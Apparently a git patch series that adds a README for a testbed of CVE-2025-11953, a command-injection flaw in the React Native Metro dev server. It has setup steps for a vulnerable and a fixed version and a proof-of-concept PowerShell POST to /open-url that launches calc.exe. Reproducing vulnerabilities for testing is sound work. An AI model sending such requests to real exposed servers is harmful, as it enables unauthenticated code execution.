From c604de4c6c24a8fcb43c7e71a9812e2a9bafc67c Mon Sep 17 00:00:00 2001 From: Giacomo Coluccelli Date: Wed, 26 Nov 2025 13:03:49 +0100 Subject: [PATCH 1/2] Add CVE-2025-11953 testbed --- react-native/CVE-2025-11953/README.md | 43 +++++++++++++++++++++++++++ 1 file changed, 43 insertions(+) create mode 100644 react-native/CVE-2025-11953/README.md diff --git a/react-native/CVE-2025-11953/README.md b/react-native/CVE-2025-11953/README.md new file mode 100644 index 00000000..999d1d8c --- /dev/null +++ b/react-native/CVE-2025-11953/README.md @@ -0,0 +1,43 @@ +# CVE-2025-11953 + +The Metro Development Server, which is opened by the React Native Community CLI, binds to external interfaces by default. The server exposes an endpoint that is vulnerable to OS command injection. This allows unauthenticated network attackers to send a POST request to the server and run arbitrary executables. On Windows, the attackers can also execute arbitrary shell commands with fully controlled arguments. + +## Deployment + +For this vulnerability to be exploited, the testbed must be deployed on Windows. Below are the steps required to prepare both the vulnerable and the safe versions: + +Set up Node.js and npm beforehand: + +As a reference, the issue was reproduced on `npm v11.6.3` and `node v24.11.1`, though these versions are not strict requirements for reproducing the vulnerability. + +### Vulnerable version + +```sh +npx @react-native-community/cli@19.1.1 init cve_2025_11953 +cd cve_2025_11953 +npm install @react-native-community/cli@19.1.1 +npm install open@6.2.0 +npm list open +npx @react-native-community/cli@19.1.1 start +``` + +### Safe version + +```sh +npx @react-native-community/cli@19.1.1 init cve_2025_11953 +cd cve_2025_11953 +npx @react-native-community/cli@19.1.1 start +``` + +## Testing the vulnerability + +Run the following PowerShell command to validate the vulnerability. On vulnerable instances, this will result in a `calc.exe` process being spawned. + +```powershell +Invoke-WebRequest -Uri http://localhost:8081/open-url -Method POST -ContentType "application/json" -Body '{"url":"calc.exe"}' +``` + +## References + +- +- \ No newline at end of file From 3818f3bc5dd2c70bfecb1530587a1a170ca33097 Mon Sep 17 00:00:00 2001 From: Giacomo Coluccelli Date: Wed, 26 Nov 2025 15:53:35 +0100 Subject: [PATCH 2/2] Add link to vulnerable code and fixed folder names --- react-native/CVE-2025-11953/README.md | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/react-native/CVE-2025-11953/README.md b/react-native/CVE-2025-11953/README.md index 999d1d8c..adbfb541 100644 --- a/react-native/CVE-2025-11953/README.md +++ b/react-native/CVE-2025-11953/README.md @@ -13,9 +13,9 @@ As a reference, the issue was reproduced on `npm v11.6.3` and `node v24.11.1`, t ### Vulnerable version ```sh -npx @react-native-community/cli@19.1.1 init cve_2025_11953 -cd cve_2025_11953 -npm install @react-native-community/cli@19.1.1 +npx @react-native-community/cli@19.1.1 init cve_2025_11953_vulnerable +cd cve_2025_11953_vulnerable +npm install @react-native-community/cli@19.1.1 npm install open@6.2.0 npm list open npx @react-native-community/cli@19.1.1 start @@ -24,9 +24,9 @@ npx @react-native-community/cli@19.1.1 start ### Safe version ```sh -npx @react-native-community/cli@19.1.1 init cve_2025_11953 -cd cve_2025_11953 -npx @react-native-community/cli@19.1.1 start +npx @react-native-community/cli@20.0.0 init cve_2025_11953_fixed +cd cve_2025_11953_fixed +npx @react-native-community/cli@20.0.0 start ``` ## Testing the vulnerability @@ -40,4 +40,5 @@ Invoke-WebRequest -Uri http://localhost:8081/open-url -Method POST -ContentType ## References - -- \ No newline at end of file +- +-